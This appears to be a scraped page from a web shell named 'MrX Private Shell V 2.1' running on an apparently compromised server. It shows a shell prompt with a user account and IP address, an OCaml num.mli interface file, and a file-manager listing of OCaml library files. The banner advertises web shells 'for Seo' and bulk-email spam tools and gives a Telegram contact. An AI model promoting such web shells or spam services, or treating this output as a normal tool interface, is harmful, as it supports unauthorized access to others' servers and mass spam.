__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

kentishfootball@216.73.216.211: ~ $
(**************************************************************************)
(*                                                                        *)
(*                                 OCaml                                  *)
(*                                                                        *)
(*     Valerie Menissier-Morain, projet Cristal, INRIA Rocquencourt       *)
(*                                                                        *)
(*   Copyright 1996 Institut National de Recherche en Informatique et     *)
(*     en Automatique.                                                    *)
(*                                                                        *)
(*   All rights reserved.  This file is distributed under the terms of    *)
(*   the GNU Lesser General Public License version 2.1, with the          *)
(*   special exception on linking described in the file LICENSE.          *)
(*                                                                        *)
(**************************************************************************)

(** Operation on arbitrary-precision numbers.

   Numbers (type [num]) are arbitrary-precision rational numbers,
   plus the special elements [1/0] (infinity) and [0/0] (undefined).
*)

open Nat
open Big_int
open Ratio

(** The type of numbers. *)
type num =
    Int of int
  | Big_int of big_int
  | Ratio of ratio


(** {6 Arithmetic operations} *)


val ( +/ ) : num -> num -> num
(** Same as {!Num.add_num}.*)

val add_num : num -> num -> num
(** Addition *)

val minus_num : num -> num
(** Unary negation. *)

val ( -/ ) : num -> num -> num
(** Same as {!Num.sub_num}.*)

val sub_num : num -> num -> num
(** Subtraction *)

val ( */ ) : num -> num -> num
(** Same as {!Num.mult_num}.*)

val mult_num : num -> num -> num
(** Multiplication *)

val square_num : num -> num
(** Squaring *)

val ( // ) : num -> num -> num
(** Same as {!Num.div_num}.*)

val div_num : num -> num -> num
(** Division *)

val quo_num : num -> num -> num
(** Euclidean division: quotient. *)

val mod_num : num -> num -> num
(** Euclidean division: remainder. *)

val ( **/ ) : num -> num -> num
(** Same as {!Num.power_num}. *)

val power_num : num -> num -> num
(** Exponentiation *)

val abs_num : num -> num
(** Absolute value. *)

val succ_num : num -> num
(** [succ n] is [n+1] *)

val pred_num : num -> num
(** [pred n] is [n-1] *)

val incr_num : num ref -> unit
(** [incr r] is [r:=!r+1], where [r] is a reference to a number. *)

val decr_num : num ref -> unit
(** [decr r] is [r:=!r-1], where [r] is a reference to a number. *)

val is_integer_num : num -> bool
(** Test if a number is an integer *)

(** The four following functions approximate a number by an integer : *)

val integer_num : num -> num
(** [integer_num n] returns the integer closest to [n]. In case of ties,
   rounds towards zero. *)

val floor_num : num -> num
(** [floor_num n] returns the largest integer smaller or equal to [n]. *)

val round_num : num -> num
(** [round_num n] returns the integer closest to [n]. In case of ties,
   rounds off zero. *)

val ceiling_num : num -> num
(** [ceiling_num n] returns the smallest integer bigger or equal to [n]. *)


val sign_num : num -> int
(** Return [-1], [0] or [1] according to the sign of the argument. *)

(** {7 Comparisons between numbers} *)

val ( =/ ) : num -> num -> bool
val ( </ ) : num -> num -> bool
val ( >/ ) : num -> num -> bool
val ( <=/ ) : num -> num -> bool
val ( >=/ ) : num -> num -> bool
val ( <>/ ) : num -> num -> bool
val eq_num : num -> num -> bool
val lt_num : num -> num -> bool
val le_num : num -> num -> bool
val gt_num : num -> num -> bool
val ge_num : num -> num -> bool

val compare_num : num -> num -> int
(** Return [-1], [0] or [1] if the first argument is less than,
   equal to, or greater than the second argument. *)

val max_num : num -> num -> num
(** Return the greater of the two arguments. *)

val min_num : num -> num -> num
(** Return the smaller of the two arguments. *)


(** {6 Coercions with strings} *)

val string_of_num : num -> string
(** Convert a number to a string, using fractional notation. *)

val approx_num_fix : int -> num -> string
(** See {!Num.approx_num_exp}.*)

val approx_num_exp : int -> num -> string
(** Approximate a number by a decimal. The first argument is the
   required precision. The second argument is the number to
   approximate. {!Num.approx_num_fix} uses decimal notation; the first
   argument is the number of digits after the decimal point.
   [approx_num_exp] uses scientific (exponential) notation; the
   first argument is the number of digits in the mantissa. *)

val num_of_string : string -> num
(** Convert a string to a number.
   Raise [Failure "num_of_string"] if the given string is not
   a valid representation of an integer *)

val num_of_string_opt: string -> num option
(** Convert a string to a number.
    Return [None] if the given string is not
    a valid representation of an integer.

    @since 4.05
*)

(** {6 Coercions between numerical types} *)

(* TODO: document the functions below (truncating behavior and error conditions). *)

val int_of_num : num -> int
val int_of_num_opt: num -> int option
(** @since 4.05.0 *)

val num_of_int : int -> num
val nat_of_num : num -> nat
val nat_of_num_opt: num -> nat option
(** @since 4.05.0 *)

val num_of_nat : nat -> num
val num_of_big_int : big_int -> num
val big_int_of_num : num -> big_int
val big_int_of_num_opt: num -> big_int option
(** @since 4.05.0 *)

val ratio_of_num : num -> ratio
val num_of_ratio : ratio -> num
val float_of_num : num -> float

Filemanager

Name Type Size Permission Actions
bigarray Folder 0755
bytes Folder 0755
caml Folder 0755
camlp4 Folder 0755
camomile Folder 0755
compiler-libs Folder 0755
dynlink Folder 0755
findlib Folder 0755
graphics Folder 0755
num Folder 0755
num-top Folder 0755
ocamlbuild Folder 0755
ocamldoc Folder 0755
pcre Folder 0755
raw_spacetime Folder 0755
stdlib Folder 0755
str Folder 0755
stublibs Folder 0755
threads Folder 0755
unix Folder 0755
vmthreads Folder 0755
Makefile.config File 3.37 KB 0644
VERSION File 116 B 0644
arg.cmi File 3.84 KB 0644
arg.cmx File 2.35 KB 0644
arg.mli File 9.84 KB 0644
arg.p.cmx File 2.35 KB 0644
arith_flags.cmx File 212 B 0644
arith_status.cmi File 1.04 KB 0644
arith_status.cmx File 1.52 KB 0644
arith_status.mli File 3 KB 0644
array.cmi File 4.54 KB 0644
array.cmx File 1.19 KB 0644
array.mli File 10.66 KB 0644
array.p.cmx File 1.19 KB 0644
arrayLabels.cmi File 4.67 KB 0644
arrayLabels.cmx File 1.06 KB 0644
arrayLabels.mli File 10.76 KB 0644
arrayLabels.p.cmx File 1.06 KB 0644
big_int.cmi File 5.74 KB 0644
big_int.cmx File 4.35 KB 0644
big_int.mli File 10.36 KB 0644
bigarray.a File 35.96 KB 0644
bigarray.cma File 54.32 KB 0644
bigarray.cmi File 19.41 KB 0644
bigarray.cmx File 2.68 KB 0644
bigarray.cmxa File 380 B 0644
bigarray.cmxs File 66.8 KB 0755
bigarray.mli File 41.36 KB 0644
buffer.cmi File 2.03 KB 0644
buffer.cmx File 3.32 KB 0644
buffer.mli File 6.08 KB 0644
buffer.p.cmx File 3.32 KB 0644
bytes.cmi File 5.78 KB 0644
bytes.cmx File 3.04 KB 0644
bytes.mli File 18.85 KB 0644
bytes.p.cmx File 3.04 KB 0644
bytesLabels.cmi File 5.93 KB 0644
bytesLabels.cmx File 2.69 KB 0644
bytesLabels.mli File 12.19 KB 0644
bytesLabels.p.cmx File 2.69 KB 0644
callback.cmi File 404 B 0644
callback.cmx File 418 B 0644
callback.mli File 1.87 KB 0644
callback.p.cmx File 418 B 0644
camlheader File 20 B 0644
camlheader_ur File 2 B 0644
camlinternalFormat.cmi File 6.58 KB 0644
camlinternalFormat.cmx File 6.62 KB 0644
camlinternalFormat.mli File 4.74 KB 0644
camlinternalFormat.p.cmx File 6.62 KB 0644
camlinternalFormatBasics.cmi File 18.2 KB 0644
camlinternalFormatBasics.cmx File 280 B 0644
camlinternalFormatBasics.mli File 13.64 KB 0644
camlinternalFormatBasics.p.cmx File 280 B 0644
camlinternalLazy.cmi File 526 B 0644
camlinternalLazy.cmx File 532 B 0644
camlinternalLazy.mli File 1.34 KB 0644
camlinternalLazy.p.cmx File 532 B 0644
camlinternalMod.cmi File 758 B 0644
camlinternalMod.cmx File 497 B 0644
camlinternalMod.mli File 1.37 KB 0644
camlinternalMod.p.cmx File 497 B 0644
camlinternalOO.cmi File 5.72 KB 0644
camlinternalOO.cmx File 4.6 KB 0644
camlinternalOO.mli File 4.98 KB 0644
camlinternalOO.p.cmx File 4.6 KB 0644
char.cmi File 1.08 KB 0644
char.cmx File 558 B 0644
char.mli File 3.05 KB 0644
char.p.cmx File 558 B 0644
complex.cmi File 1.34 KB 0644
complex.cmx File 1.12 KB 0644
complex.mli File 2.88 KB 0644
complex.p.cmx File 1.12 KB 0644
condition.mli File 2.36 KB 0644
digest.cmi File 1.22 KB 0644
digest.cmx File 1.15 KB 0644
digest.mli File 3.6 KB 0644
digest.p.cmx File 1.15 KB 0644
dynlink.a File 31.06 KB 0644
dynlink.cma File 2.03 MB 0644
dynlink.cmi File 2 KB 0644
dynlink.cmx File 4.31 KB 0644
dynlink.cmxa File 1.79 KB 0644
dynlink.mli File 6.33 KB 0644
ephemeron.cmi File 23.75 KB 0644
ephemeron.cmx File 5.62 KB 0644
ephemeron.mli File 13.44 KB 0644
ephemeron.p.cmx File 5.62 KB 0644
event.mli File 3.66 KB 0644
expunge File 10.45 MB 0755
extract_crc File 558.63 KB 0755
fedora-ocaml-release File 7 B 0644
filename.cmi File 1.8 KB 0644
filename.cmx File 3.07 KB 0644
filename.mli File 6.92 KB 0644
filename.p.cmx File 3.07 KB 0644
format.cmi File 15.12 KB 0644
format.cmx File 13.18 KB 0644
format.mli File 33.18 KB 0644
format.p.cmx File 13.18 KB 0644
gc.cmi File 3.21 KB 0644
gc.cmx File 791 B 0644
gc.mli File 15.09 KB 0644
gc.p.cmx File 791 B 0644
genlex.cmi File 659 B 0644
genlex.cmx File 681 B 0644
genlex.mli File 3.46 KB 0644
genlex.p.cmx File 681 B 0644
graphics.a File 45.67 KB 0644
graphics.cma File 44.76 KB 0644
graphics.cmi File 7.12 KB 0644
graphics.cmx File 2.68 KB 0644
graphics.cmxa File 725 B 0644
graphics.cmxs File 72.39 KB 0755
graphics.mli File 15.37 KB 0644
graphicsX11.cmx File 499 B 0644
hashtbl.cmi File 10.06 KB 0644
hashtbl.cmx File 2.93 KB 0644
hashtbl.mli File 16.68 KB 0644
hashtbl.p.cmx File 2.93 KB 0644
int32.cmi File 3.18 KB 0644
int32.cmx File 911 B 0644
int32.mli File 7.04 KB 0644
int32.p.cmx File 911 B 0644
int64.cmi File 3.56 KB 0644
int64.cmx File 947 B 0644
int64.mli File 7.92 KB 0644
int64.p.cmx File 947 B 0644
int_misc.cmx File 573 B 0644
lazy.cmi File 1.07 KB 0644
lazy.cmx File 523 B 0644
lazy.mli File 4.03 KB 0644
lazy.p.cmx File 523 B 0644
ld.conf File 43 B 0644
lexing.cmi File 2.9 KB 0644
lexing.cmx File 1.74 KB 0644
lexing.mli File 6.7 KB 0644
lexing.p.cmx File 1.74 KB 0644
libasmrun.a File 430.16 KB 0644
libasmrun_pic.a File 430.87 KB 0644
libasmrun_shared.so File 230.83 KB 0755
libasmrunp.a File 459.89 KB 0644
libbigarray.a File 30.19 KB 0644
libcamlrun.a File 463.11 KB 0644
libcamlrun_pic.a File 462.32 KB 0644
libcamlrun_shared.so File 248.16 KB 0755
libcamlstr.a File 8.46 KB 0644
libgraphics.a File 60.48 KB 0644
libnums.a File 17.93 KB 0644
libthreads.a File 24.87 KB 0644
libthreadsnat.a File 25.28 KB 0644
libunix.a File 225.86 KB 0644
list.cmi File 6.37 KB 0644
list.cmx File 2.25 KB 0644
list.mli File 12.64 KB 0644
list.p.cmx File 2.25 KB 0644
listLabels.cmi File 6.48 KB 0644
listLabels.cmx File 2.15 KB 0644
listLabels.mli File 12.85 KB 0644
listLabels.p.cmx File 2.15 KB 0644
map.cmi File 8.75 KB 0644
map.cmx File 1.19 KB 0644
map.mli File 11.78 KB 0644
map.p.cmx File 1.19 KB 0644
marshal.cmi File 1.38 KB 0644
marshal.cmx File 729 B 0644
marshal.mli File 9.26 KB 0644
marshal.p.cmx File 729 B 0644
moreLabels.cmi File 25.4 KB 0644
moreLabels.cmx File 4.78 KB 0644
moreLabels.mli File 7.69 KB 0644
moreLabels.p.cmx File 4.78 KB 0644
mutex.mli File 2.09 KB 0644
nat.cmi File 8.5 KB 0644
nat.cmx File 1.58 KB 0644
nat.mli File 4.83 KB 0644
nativeint.cmi File 3.17 KB 0644
nativeint.cmx File 1.02 KB 0644
nativeint.mli File 7.88 KB 0644
nativeint.p.cmx File 1.02 KB 0644
num.cmi File 4.85 KB 0644
num.cmx File 3.04 KB 0644
num.mli File 5.48 KB 0644
nums.a File 292.07 KB 0644
nums.cma File 301 KB 0644
nums.cmxa File 2.58 KB 0644
nums.cmxs File 234 KB 0755
obj.cmi File 4.77 KB 0644
obj.cmx File 2.12 KB 0644
obj.mli File 5.19 KB 0644
obj.p.cmx File 2.12 KB 0644
objinfo_helper File 995.08 KB 0755
oo.cmi File 603 B 0644
oo.cmx File 368 B 0644
oo.mli File 1.94 KB 0644
oo.p.cmx File 368 B 0644
parsing.cmi File 2.22 KB 0644
parsing.cmx File 1.3 KB 0644
parsing.mli File 4.08 KB 0644
parsing.p.cmx File 1.3 KB 0644
pervasives.cmi File 18.07 KB 0644
pervasives.cmx File 6.11 KB 0644
pervasives.mli File 44.07 KB 0644
pervasives.p.cmx File 6.11 KB 0644
printexc.cmi File 2.65 KB 0644
printexc.cmx File 2.9 KB 0644
printexc.mli File 11.65 KB 0644
printexc.p.cmx File 2.9 KB 0644
printf.cmi File 1.78 KB 0644
printf.cmx File 914 B 0644
printf.mli File 8.04 KB 0644
printf.p.cmx File 914 B 0644
profiling.cmi File 491 B 0644
profiling.cmo File 1.48 KB 0644
profiling.cmx File 455 B 0644
profiling.o File 6.42 KB 0644
queue.cmi File 1.34 KB 0644
queue.cmx File 911 B 0644
queue.mli File 3.06 KB 0644
queue.p.cmx File 911 B 0644
random.cmi File 1.95 KB 0644
random.cmx File 2.35 KB 0644
random.mli File 4.11 KB 0644
random.p.cmx File 2.35 KB 0644
ratio.cmi File 5.45 KB 0644
ratio.cmx File 4.54 KB 0644
ratio.mli File 4.04 KB 0644
raw_spacetime_lib.a File 57.24 KB 0644
raw_spacetime_lib.cma File 70.18 KB 0644
raw_spacetime_lib.cmi File 16 KB 0644
raw_spacetime_lib.cmx File 8.8 KB 0644
raw_spacetime_lib.cmxa File 672 B 0644
raw_spacetime_lib.cmxs File 47.98 KB 0755
raw_spacetime_lib.mli File 10.65 KB 0644
scanf.cmi File 3.48 KB 0644
scanf.cmx File 20.21 KB 0644
scanf.mli File 24.89 KB 0644
scanf.p.cmx File 20.21 KB 0644
set.cmi File 6.85 KB 0644
set.cmx File 1.35 KB 0644
set.mli File 10.02 KB 0644
set.p.cmx File 1.35 KB 0644
sort.cmi File 803 B 0644
sort.cmx File 313 B 0644
sort.mli File 2.28 KB 0644
sort.p.cmx File 313 B 0644
spacetime.cmi File 876 B 0644
spacetime.cmx File 546 B 0644
spacetime.mli File 5.02 KB 0644
spacetime.p.cmx File 546 B 0644
stack.cmi File 1.05 KB 0644
stack.cmx File 1.01 KB 0644
stack.mli File 2.52 KB 0644
stack.p.cmx File 1.01 KB 0644
stdLabels.cmi File 478 B 0644
stdLabels.cmx File 316 B 0644
stdLabels.mli File 1.46 KB 0644
stdLabels.p.cmx File 316 B 0644
std_exit.cmi File 190 B 0644
std_exit.cmo File 1.49 KB 0644
std_exit.cmx File 197 B 0644
std_exit.o File 3.11 KB 0644
std_exit.p.cmx File 197 B 0644
std_exit.p.o File 3.18 KB 0644
stdlib.a File 1.69 MB 0644
stdlib.cma File 2.31 MB 0644
stdlib.cmxa File 14.21 KB 0644
stdlib.p.a File 1.76 MB 0644
stdlib.p.cmxa File 14.21 KB 0644
str.a File 85.78 KB 0644
str.cma File 97.61 KB 0644
str.cmi File 3.28 KB 0644
str.cmx File 4.52 KB 0644
str.cmxa File 559 B 0644
str.cmxs File 80.02 KB 0755
str.mli File 12.59 KB 0644
stream.cmi File 2.13 KB 0644
stream.cmx File 1.59 KB 0644
stream.mli File 3.77 KB 0644
stream.p.cmx File 1.59 KB 0644
string.cmi File 5.36 KB 0644
string.cmx File 3.53 KB 0644
string.mli File 13.8 KB 0644
string.p.cmx File 3.53 KB 0644
stringLabels.cmi File 5.47 KB 0644
stringLabels.cmx File 3.13 KB 0644
stringLabels.mli File 12.06 KB 0644
stringLabels.p.cmx File 3.13 KB 0644
sys.cmi File 3.8 KB 0644
sys.cmx File 673 B 0644
sys.mli File 10.06 KB 0644
sys.p.cmx File 673 B 0644
thread.mli File 5.75 KB 0644
threadUnix.mli File 3.94 KB 0644
topdirs.cmi File 1.58 KB 0644
topdirs.mli File 1.75 KB 0644
topfind File 1.62 KB 0644
uchar.cmi File 1.1 KB 0644
uchar.cmx File 1007 B 0644
uchar.mli File 2.69 KB 0644
uchar.p.cmx File 1007 B 0644
unix.a File 140.53 KB 0644
unix.cma File 145.53 KB 0644
unix.cmi File 25.4 KB 0644
unix.cmx File 12.13 KB 0644
unix.cmxa File 879 B 0644
unix.cmxs File 172.95 KB 0755
unix.mli File 63.8 KB 0644
unixLabels.cmi File 27.1 KB 0644
unixLabels.cmx File 10.99 KB 0644
unixLabels.mli File 55.63 KB 0644
weak.cmi File 3.68 KB 0644
weak.cmx File 1.43 KB 0644
weak.mli File 7.59 KB 0644
weak.p.cmx File 1.43 KB 0644
Filemanager